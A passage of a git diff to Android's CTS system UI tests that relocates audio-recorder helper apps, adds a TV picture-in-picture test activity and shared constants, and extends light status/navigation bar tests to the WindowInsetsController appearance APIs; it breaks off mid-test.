+++ b/tests/tests/systemui/AudioRecorderTestApp_AudioRecord/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "AudioRecorderTestApp_AudioRecord",
+    static_libs: ["AudioRecorderTestApp_Base"],
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/systemui/audiorecorder_app_audiorecord/AndroidManifest.xml b/tests/tests/systemui/AudioRecorderTestApp_AudioRecord/AndroidManifest.xml
similarity index 100%
rename from hostsidetests/systemui/audiorecorder_app_audiorecord/AndroidManifest.xml
rename to tests/tests/systemui/AudioRecorderTestApp_AudioRecord/AndroidManifest.xml
diff --git a/hostsidetests/systemui/audiorecorder_app_audiorecord/src/android/systemui/cts/audiorecorder/audiorecord/AudioRecorderService.java b/tests/tests/systemui/AudioRecorderTestApp_AudioRecord/src/android/systemui/cts/audiorecorder/audiorecord/AudioRecorderService.java
similarity index 100%
rename from hostsidetests/systemui/audiorecorder_app_audiorecord/src/android/systemui/cts/audiorecorder/audiorecord/AudioRecorderService.java
rename to tests/tests/systemui/AudioRecorderTestApp_AudioRecord/src/android/systemui/cts/audiorecorder/audiorecord/AudioRecorderService.java
diff --git a/tests/tests/systemui/AudioRecorderTestApp_Base/Android.bp b/tests/tests/systemui/AudioRecorderTestApp_Base/Android.bp
new file mode 100644
index 0000000..b8c1b4c
--- /dev/null
+++ b/tests/tests/systemui/AudioRecorderTestApp_Base/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_library {
+    name: "AudioRecorderTestApp_Base",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res"],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/systemui/audiorecorder_base/AndroidManifest.xml b/tests/tests/systemui/AudioRecorderTestApp_Base/AndroidManifest.xml
similarity index 100%
rename from hostsidetests/systemui/audiorecorder_base/AndroidManifest.xml
rename to tests/tests/systemui/AudioRecorderTestApp_Base/AndroidManifest.xml
diff --git a/hostsidetests/systemui/audiorecorder_base/res/drawable-hdpi/ic_fg.png b/tests/tests/systemui/AudioRecorderTestApp_Base/res/drawable-hdpi/ic_fg.png
similarity index 100%
rename from hostsidetests/systemui/audiorecorder_base/res/drawable-hdpi/ic_fg.png
rename to tests/tests/systemui/AudioRecorderTestApp_Base/res/drawable-hdpi/ic_fg.png
Binary files differ
diff --git a/hostsidetests/systemui/audiorecorder_base/src/android/systemui/cts/audiorecorder/base/BaseAudioRecorderService.java b/tests/tests/systemui/AudioRecorderTestApp_Base/src/android/systemui/cts/audiorecorder/base/BaseAudioRecorderService.java
similarity index 100%
rename from hostsidetests/systemui/audiorecorder_base/src/android/systemui/cts/audiorecorder/base/BaseAudioRecorderService.java
rename to tests/tests/systemui/AudioRecorderTestApp_Base/src/android/systemui/cts/audiorecorder/base/BaseAudioRecorderService.java
diff --git a/tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/Android.bp b/tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/Android.bp
new file mode 100644
index 0000000..af7f01c
--- /dev/null
+++ b/tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "AudioRecorderTestApp_MediaRecorder",
+    static_libs: ["AudioRecorderTestApp_Base"],
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/systemui/audiorecorder_app_mediarecorder/AndroidManifest.xml b/tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/AndroidManifest.xml
similarity index 100%
rename from hostsidetests/systemui/audiorecorder_app_mediarecorder/AndroidManifest.xml
rename to tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/AndroidManifest.xml
diff --git a/hostsidetests/systemui/audiorecorder_app_mediarecorder/src/android/systemui/cts/audiorecorder/mediarecorder/AudioRecorderService.java b/tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/src/android/systemui/cts/audiorecorder/mediarecorder/AudioRecorderService.java
similarity index 100%
rename from hostsidetests/systemui/audiorecorder_app_mediarecorder/src/android/systemui/cts/audiorecorder/mediarecorder/AudioRecorderService.java
rename to tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/src/android/systemui/cts/audiorecorder/mediarecorder/AudioRecorderService.java
diff --git a/tests/tests/systemui/OWNERS b/tests/tests/systemui/OWNERS
index 22ceb12..0d94f45 100644
--- a/tests/tests/systemui/OWNERS
+++ b/tests/tests/systemui/OWNERS
@@ -1,4 +1,7 @@
 # Bug component: 181502
 evanlaird@google.com
 felkachang@google.com
-
+# Owners of the pip tests on atv:
+rgl@google.com
+sergeynv@google.com
+galinap@google.com
diff --git a/tests/tests/systemui/PipTestApp/Android.bp b/tests/tests/systemui/PipTestApp/Android.bp
new file mode 100644
index 0000000..b8219c8
--- /dev/null
+++ b/tests/tests/systemui/PipTestApp/Android.bp
@@ -0,0 +1,42 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "PipTestApp",
+    defaults: ["cts_defaults"],
+
+    sdk_version: "test_current",
+    min_sdk_version: "26",
+
+    manifest: "AndroidManifest.xml",
+    srcs: ["src/**/*.kt"],
+
+    static_libs: [
+        "kotlin-stdlib",
+        "systemui-cts-common",
+    ],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/systemui/PipTestApp/AndroidManifest.xml b/tests/tests/systemui/PipTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..f2368d8
--- /dev/null
+++ b/tests/tests/systemui/PipTestApp/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.systemui.cts.tv.pip">
+
+    <application>
+        <activity
+            android:name=".PipTestActivity"
+            android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation"
+            android:exported="true"
+            android:launchMode="singleTask"
+            android:supportsPictureInPicture="true"
+            android:taskAffinity="nobody.but.PipTestActivity" />
+    </application>
+
+</manifest>
\ No newline at end of file
diff --git a/tests/tests/systemui/PipTestApp/res/layout/keyboard_layout.xml b/tests/tests/systemui/PipTestApp/res/layout/keyboard_layout.xml
new file mode 100644
index 0000000..163c00e
--- /dev/null
+++ b/tests/tests/systemui/PipTestApp/res/layout/keyboard_layout.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:background="#ABACAB">
+
+    <EditText
+        android:id="@+id/plain_text_input"
+        android:layout_height="wrap_content"
+        android:layout_width="match_parent"
+        android:inputType="text">
+        <requestFocus/>
+    </EditText>
+
+</RelativeLayout>
\ No newline at end of file
diff --git a/tests/tests/systemui/PipTestApp/src/android/systemui/cts/tv/pip/PipTestActivity.kt b/tests/tests/systemui/PipTestApp/src/android/systemui/cts/tv/pip/PipTestActivity.kt
new file mode 100644
index 0000000..3bdba12
--- /dev/null
+++ b/tests/tests/systemui/PipTestApp/src/android/systemui/cts/tv/pip/PipTestActivity.kt
@@ -0,0 +1,210 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.systemui.cts.tv.pip
+
+import android.app.Activity
+import android.app.PictureInPictureParams
+import android.app.RemoteAction
+import android.content.BroadcastReceiver
+import android.content.Context
+import android.content.Intent
+import android.content.IntentFilter
+import android.graphics.Rect
+import android.media.MediaMetadata
+import android.media.session.MediaSession
+import android.media.session.PlaybackState
+import android.media.session.PlaybackState.ACTION_PAUSE
+import android.media.session.PlaybackState.ACTION_PLAY
+import android.media.session.PlaybackState.STATE_PAUSED
+import android.media.session.PlaybackState.STATE_PLAYING
+import android.media.session.PlaybackState.STATE_STOPPED
+import android.os.Bundle
+import android.systemui.tv.cts.PipActivity.ACTION_ENTER_PIP
+import android.systemui.tv.cts.PipActivity.ACTION_MEDIA_PAUSE
+import android.systemui.tv.cts.PipActivity.ACTION_MEDIA_PLAY
+import android.systemui.tv.cts.PipActivity.ACTION_SET_MEDIA_TITLE
+import android.systemui.tv.cts.PipActivity.ACTION_NO_OP
+import android.systemui.tv.cts.PipActivity.EXTRA_ASPECT_RATIO_DENOMINATOR
+import android.systemui.tv.cts.PipActivity.EXTRA_ASPECT_RATIO_NUMERATOR
+import android.systemui.tv.cts.PipActivity.EXTRA_SET_CUSTOM_ACTIONS
+import android.systemui.tv.cts.PipActivity.EXTRA_ENTER_PIP
+import android.systemui.tv.cts.PipActivity.EXTRA_MEDIA_SESSION_ACTIONS
+import android.systemui.tv.cts.PipActivity.EXTRA_MEDIA_SESSION_ACTIVE
+import android.systemui.tv.cts.PipActivity.EXTRA_MEDIA_SESSION_TITLE
+import android.systemui.tv.cts.PipActivity.EXTRA_SOURCE_RECT_HINT
+import android.systemui.tv.cts.PipActivity.EXTRA_TURN_ON_SCREEN
+import android.systemui.tv.cts.PipActivity.MEDIA_SESSION_TITLE
+import android.util.Log
+import android.util.Rational
+import java.net.URLDecoder
+
+/** A simple PiP test activity */
+class PipTestActivity : Activity() {
+    companion object {
+        private const val TAG = "PipTestActivity"
+    }
+
+    private lateinit var pipParams: PictureInPictureParams
+    private lateinit var mediaSession: MediaSession
+    private val playbackBuilder = PlaybackState.Builder()
+        .setActions(ACTION_PAUSE or ACTION_PLAY)
+        .setState(STATE_STOPPED)
+
+    private val broadcastReceiver: BroadcastReceiver = object : BroadcastReceiver() {
+        override fun onReceive(context: Context?, intent: Intent?) = handle(intent)
+    }
+
+    private val intentFilter = IntentFilter().apply {
+        addAction(ACTION_SET_MEDIA_TITLE)
+        addAction(ACTION_MEDIA_PLAY)
+        addAction(ACTION_MEDIA_PAUSE)
+        addAction(ACTION_NO_OP)
+    }
+
+    private val mediaCallback = object : MediaSession.Callback() {
+        override fun onPlay() =
+            mediaSession.setPlaybackState(playbackBuilder.setState(STATE_PLAYING).build())
+
+        override fun onPause() =
+            mediaSession.setPlaybackState(playbackBuilder.setState(STATE_PAUSED).build())
+    }
+
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+
+        mediaSession = MediaSession(this, MEDIA_SESSION_TITLE).apply {
+            setPlaybackState(playbackBuilder.build())
+            setCallback(mediaCallback)
+        }
+        registerReceiver(broadcastReceiver, intentFilter)
+        handle(intent)
+    }
+
+    override fun onNewIntent(intent: Intent?) = handle(intent)
+
+    private fun handle(intent: Intent?) {
+        if (intent == null) {
+            return
+        }
+
+        handleScreenExtras(intent)
+
+        handleMediaExtras(intent)
+
+        handlePipExtras(intent)
+
+        when (intent.action) {
+            ACTION_NO_OP -> {
+                // explicitly do nothing
+            }
+            ACTION_MEDIA_PLAY -> {
+                Log.d(TAG, "Playing media")
+                mediaSession.controller.transportControls.play()
+            }
+            ACTION_MEDIA_PAUSE -> {
+                Log.d(TAG, "Pausing media")
+                mediaSession.controller.transportControls.pause()
+            }
+        }
+
+        if (intent.action == ACTION_ENTER_PIP || intent.getBooleanExtra(EXTRA_ENTER_PIP, false)) {
+            Log.d(TAG, "Entering PIP. Currently in PIP = $isInPictureInPictureMode")
+            val res = enterPictureInPictureMode(pipParams)
+            Log.d(TAG, "Entered PIP = $res. Currently in PIP = $isInPictureInPictureMode")
+        }
+    }
+
+    /**
+     * Applies the pip parameters from the intent to the current pip window if there is one, or
+     * sets them for when pip mode will be entered next.
+     *
+     * Also stores the new parameters in [pipParams].
+     */
+    private fun handlePipExtras(intent: Intent) {
+        pipParams = buildPipParams(intent.extras)
+        setPictureInPictureParams(pipParams)
+    }
+
+    /**  Updates the state of the [mediaSession]. */
+    private fun handleMediaExtras(intent: Intent) {
+        if (intent.hasExtra(EXTRA_MEDIA_SESSION_ACTIVE)) {
+            intent.extras?.getBoolean(EXTRA_MEDIA_SESSION_ACTIVE)?.let {
+                Log.d(TAG, "Setting media session active = $it")
+                mediaSession.isActive = it
+            }
+        }
+
+        intent.getStringExtra(EXTRA_MEDIA_SESSION_TITLE)?.let {
+            // We expect the media session title to be url encoded.
+            // This is needed to be able to set arbitrary titles over adb
+            val title: String = URLDecoder.decode(it, "UTF-8")
+            Log.d(TAG, "Setting media session title = $title")
+            mediaSession.setMetadata(
+                MediaMetadata.Builder()
+                    .putText(MediaMetadata.METADATA_KEY_TITLE, title)
+                    .build()
+            )
+        }
+
+        if (intent.hasExtra(EXTRA_MEDIA_SESSION_ACTIONS)) {
+            val requestedActions =
+                intent.getLongExtra(EXTRA_MEDIA_SESSION_ACTIONS, ACTION_PAUSE or ACTION_PLAY)
+            mediaSession.setPlaybackState(playbackBuilder.setActions(requestedActions).build())
+        }
+    }
+
+    /** Calls [android.app.Activity.setTurnScreenOn] if needed. */
+    private fun handleScreenExtras(intent: Intent) {
+        if (intent.getBooleanExtra(EXTRA_TURN_ON_SCREEN, false)) {
+            Log.d(TAG, "Setting setTurnScreenOn")
+            setTurnScreenOn(true)
+        }
+    }
+
+    private fun buildPipParams(bundle: Bundle?): PictureInPictureParams {
+        val builder = PictureInPictureParams.Builder()
+        bundle?.run {
+            if (containsKey(EXTRA_ASPECT_RATIO_NUMERATOR) &&
+                containsKey(EXTRA_ASPECT_RATIO_DENOMINATOR)) {
+                builder.setAspectRatio(Rational(
+                    getInt(EXTRA_ASPECT_RATIO_NUMERATOR),
+                    getInt(EXTRA_ASPECT_RATIO_DENOMINATOR)))
+            }
+
+            getString(EXTRA_SOURCE_RECT_HINT)?.let {
+                builder.setSourceRectHint(Rect.unflattenFromString(it))
+            }
+
+            getParcelableArrayList<RemoteAction>(EXTRA_SET_CUSTOM_ACTIONS)?.let { actions ->
+                val names = actions.joinToString(", ") { it.title }
+                Log.d(TAG, "Setting custom pip actions: $names")
+                builder.setActions(actions)
+            }
+        }
+        return builder.build()
+    }
+
+    /** Just set the playback state without updating the position or playback speed. */
+    private fun PlaybackState.Builder.setState(state: Int) = apply {
+        setState(state, 0, 0f)
+    }
+
+    override fun onDestroy() {
+        unregisterReceiver(broadcastReceiver)
+        super.onDestroy()
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/systemui/common/Android.bp b/tests/tests/systemui/common/Android.bp
new file mode 100644
index 0000000..fdebda8
--- /dev/null
+++ b/tests/tests/systemui/common/Android.bp
@@ -0,0 +1,23 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_helper_library {
+    name: "systemui-cts-common",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.kt"],
+}
diff --git a/tests/tests/systemui/common/src/android/systemui/tv/cts/TestEntities.kt b/tests/tests/systemui/common/src/android/systemui/tv/cts/TestEntities.kt
new file mode 100644
index 0000000..bb82fbd
--- /dev/null
+++ b/tests/tests/systemui/common/src/android/systemui/tv/cts/TestEntities.kt
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.systemui.tv.cts
+
+import android.content.ComponentName
+
+private const val pkg = "android.systemui.cts.tv.pip"
+
+object Components {
+
+    @JvmStatic
+    fun ComponentName.activityName(): String = flattenToShortString()
+
+    @JvmStatic
+    fun ComponentName.windowName(): String = flattenToString()
+
+    @JvmField
+    val PIP_ACTIVITY: ComponentName = ComponentName.createRelative(pkg, ".PipTestActivity")
+
+    @JvmField
+    val PIP_MENU_ACTIVITY: ComponentName = ComponentName.createRelative(
+        ResourceNames.SYSTEM_UI_PACKAGE,
+        ResourceNames.WM_SHELL_PACKAGE + ".pip.tv.PipMenuActivity"
+    )
+}
+
+object PipActivity {
+    /** Instruct the app to go into pip mode */
+    const val ACTION_ENTER_PIP = "$pkg.PipTestActivity.enter_pip"
+    const val ACTION_SET_MEDIA_TITLE = "$pkg.PipTestActivity.set_media_title"
+
+    /**
+     * A no-op action that the app's broadcast receiver listens to.
+     *
+     * This action can be used to apply changes passed in extras without having to
+     * launch the activity thereby moving it out of pip.
+     */
+    const val ACTION_NO_OP = "$pkg.PipTestActivity.generic_update"
+
+    const val ACTION_MEDIA_PLAY = "$pkg.PipTestActivity.media_play"
+    const val ACTION_MEDIA_PAUSE = "$pkg.PipTestActivity.media_pause"
+
+    /** Instruct the app to go into pip mode when set to true */
+    const val EXTRA_ENTER_PIP = "enter_pip"
+
+    /** Provide a rect hint for entering pip in the form "left top right bottom" */
+    const val EXTRA_SOURCE_RECT_HINT = "source_rect_hint"
+
+    /**
+     * Boolean.
+     * Make sure the app will turn on the screen (waking up the device) upon start.
+     * This is accomplished by means of
+     * https://developer.android.com/reference/android/app/Activity#setTurnScreenOn(boolean)
+     */
+    const val EXTRA_TURN_ON_SCREEN = "turn_on_screen"
+
+    const val EXTRA_ASPECT_RATIO_DENOMINATOR = "aspect_ratio_denominator"
+    const val EXTRA_ASPECT_RATIO_NUMERATOR = "aspect_ratio_numerator"
+
+    /** Taken from [android.server.wm.PinnedStackTests] */
+    object Ratios {
+        // Corresponds to com.android.internal.R.dimen.config_pictureInPictureMinAspectRatio
+        const val MIN_ASPECT_RATIO_NUMERATOR = 100
+        const val MIN_ASPECT_RATIO_DENOMINATOR = 239
+
+        // Corresponds to com.android.internal.R.dimen.config_pictureInPictureMaxAspectRatio
+        const val MAX_ASPECT_RATIO_NUMERATOR = 239
+        const val MAX_ASPECT_RATIO_DENOMINATOR = 100
+    }
+
+    /** URL encoded string. Sets the title of the media session. */
+    const val EXTRA_MEDIA_SESSION_TITLE = "media_session_title"
+    /** Boolean. Controls the active status of the media session. */
+    const val EXTRA_MEDIA_SESSION_ACTIVE = "media_session_active"
+
+    /**
+     * Allows to set the [android.media.session.PlaybackState.Actions] that the media
+     * session will react to. Defaults to (ACTION_PAUSE | ACTION_PLAY).
+     */
+    const val EXTRA_MEDIA_SESSION_ACTIONS = "media_session_actions"
+
+    const val MEDIA_SESSION_TITLE = "PipTestActivity:MediaSession"
+
+    /** Set the pip menu custom actions to this [ArrayList] of [android.app.RemoteAction]. */
+    const val EXTRA_SET_CUSTOM_ACTIONS = "set_custom_actions"
+}
+
+object PipMenu {
+    const val ACTION_MENU = "PipNotification.menu"
+    const val ACTION_CLOSE = "PipNotification.close"
+}
+
+object ResourceNames {
+    const val SYSTEM_UI_CTS_PACKAGE = "android.systemui.cts"
+    const val SYSTEM_UI_PACKAGE = "com.android.systemui"
+    const val WM_SHELL_PACKAGE = "com.android.wm.shell"
+
+    const val STRING_PIP_PAUSE = "pip_pause"
+
+    const val ID_PIP_MENU_CLOSE_BUTTON = "$SYSTEM_UI_PACKAGE:id/close_button"
+    const val ID_PIP_MENU_FULLSCREEN_BUTTON = "$SYSTEM_UI_PACKAGE:id/full_button"
+    const val ID_PIP_MENU_CUSTOM_BUTTON = "$SYSTEM_UI_PACKAGE:id/button"
+}
\ No newline at end of file
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java b/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java
index a826575..663cc70 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java
@@ -15,7 +15,11 @@
  */
 package android.systemui.cts;
 
+import static android.view.WindowInsetsController.APPEARANCE_LIGHT_NAVIGATION_BARS;
+import static android.view.WindowInsetsController.APPEARANCE_LIGHT_STATUS_BARS;
+
 import android.view.View;
+import android.view.WindowInsetsController;
 
 /**
  * An activity that exercises SYSTEM_UI_FLAG_LIGHT_STATUS_BAR and
@@ -23,15 +27,15 @@
  */
 public class LightBarActivity extends LightBarBaseActivity {
 
-    public void setLightStatusBar(boolean lightStatusBar) {
-        setLightBar(lightStatusBar, View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
+    public void setLightStatusBarLegacy(boolean lightStatusBar) {
+        setLightBarLegacy(lightStatusBar, View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
     }
 
-    public void setLightNavigationBar(boolean lightNavigationBar) {
-        setLightBar(lightNavigationBar, View.SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR);
+    public void setLightNavigationBarLegacy(boolean lightNavigationBar) {
+        setLightBarLegacy(lightNavigationBar, View.SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR);
     }
 
-    private void setLightBar(boolean light, int systemUiFlag) {
+    private void setLightBarLegacy(boolean light, int systemUiFlag) {
         int vis = getWindow().getDecorView().getSystemUiVisibility();
         if (light) {
             vis |= systemUiFlag;
@@ -40,4 +44,24 @@
         }
         getWindow().getDecorView().setSystemUiVisibility(vis);
     }
+
+    public void setLightStatusBarAppearance(boolean lightStatusBar) {
+        setLightBarAppearance(lightStatusBar, APPEARANCE_LIGHT_STATUS_BARS);
+    }
+
+    public void setLightNavigationBarAppearance(boolean lightNavigationBar) {
+        setLightBarAppearance(lightNavigationBar, APPEARANCE_LIGHT_NAVIGATION_BARS);
+    }
+
+    private void setLightBarAppearance(boolean light, int appearanceFlag) {
+        final WindowInsetsController controller =
+                getWindow().getDecorView().getWindowInsetsController();
+        int appearance = controller.getSystemBarsAppearance();
+        if (light) {
+            appearance |= appearanceFlag;
+        } else {
+            appearance &= ~appearanceFlag;
+        }
+        controller.setSystemBarsAppearance(appearance, appearanceFlag);
+    }
 }
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
index dc414ef..8fbd429 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
@@ -38,6 +38,8 @@
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.ThrowingRunnable;
+
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.TestName;
@@ -82,32 +84,68 @@
     public void testLightStatusBarIcons() throws Throwable {
         assumeHasColoredStatusBar(mActivityRule);
 
-        mNm = (NotificationManager) getInstrumentation().getContext()
-                .getSystemService(Context.NOTIFICATION_SERVICE);
-        NotificationChannel channel1 = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
-                NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_LOW);
-        mNm.createNotificationChannel(channel1);
+        runInNotificationSession(() -> {
+            requestLightBars(LIGHT_BG_COLOR);
+            Thread.sleep(WAIT_TIME);
 
-        // post 10 notifications to ensure enough icons in the status bar
-        for (int i = 0; i < 10; i++) {
-            Notification.Builder noti1 = new Notification.Builder(getInstrumentation().getContext(),
-                    NOTIFICATION_CHANNEL_ID)
-                    .setSmallIcon(R.drawable.ic_save)
-                    .setChannelId(NOTIFICATION_CHANNEL_ID)
-                    .setPriority(Notification.PRIORITY_LOW)
-                    .setGroup(NOTIFICATION_GROUP_KEY);
-            mNm.notify(NOTIFICATION_TAG, i, noti1.build());
-        }
+            Bitmap bitmap = takeStatusBarScreenshot(mActivityRule.getActivity());
+            Stats s = evaluateLightBarBitmap(bitmap, LIGHT_BG_COLOR, 0);
+            assertStats(bitmap, s, true /* light */);
+        });
+    }
 
-        requestLightBars(LIGHT_BG_COLOR);
-        Thread.sleep(WAIT_TIME);
+    @Test
+    @AppModeFull // Instant apps cannot create notifications
+    public void testAppearanceCanOverwriteLegacyFlags() throws Throwable {
+        assumeHasColoredStatusBar(mActivityRule);
 
-        Bitmap bitmap = takeStatusBarScreenshot(mActivityRule.getActivity());
-        Stats s = evaluateLightBarBitmap(bitmap, LIGHT_BG_COLOR, 0);
-        assertLightStats(bitmap, s);
+        runInNotificationSession(() -> {
+            final LightBarActivity activity = mActivityRule.getActivity();
+            activity.runOnUiThread(() -> {
+                activity.getWindow().setStatusBarColor(LIGHT_BG_COLOR);
+                activity.getWindow().setNavigationBarColor(LIGHT_BG_COLOR);
 
-        mNm.cancelAll();
-        mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+                activity.setLightStatusBarLegacy(true);
+                activity.setLightNavigationBarLegacy(true);
+
+                // The new appearance APIs can overwrite the appearance specified by the legacy
+                // flags.
+                activity.setLightStatusBarAppearance(false);
+                activity.setLightNavigationBarAppearance(false);
+            });
+            Thread.sleep(WAIT_TIME);
+
+            Bitmap bitmap = takeStatusBarScreenshot(mActivityRule.getActivity());
+            Stats s = evaluateDarkBarBitmap(bitmap, LIGHT_BG_COLOR, 0);
+            assertStats(bitmap, s, false /* light */);
+        });
+    }
+
+    @Test
+    @AppModeFull // Instant apps cannot create notifications
+    public void testLegacyFlagsCannotOverwriteAppearance() throws Throwable {
+        assumeHasColoredStatusBar(mActivityRule);
+
+        runInNotificationSession(() -> {
+            final LightBarActivity activity = mActivityRule.getActivity();
+            activity.runOnUiThread(() -> {
+                activity.getWindow().setStatusBarColor(LIGHT_BG_COLOR);
+                activity.getWindow().setNavigationBarColor(LIGHT_BG_COLOR);
+
+                activity.setLightStatusBarAppearance(false);
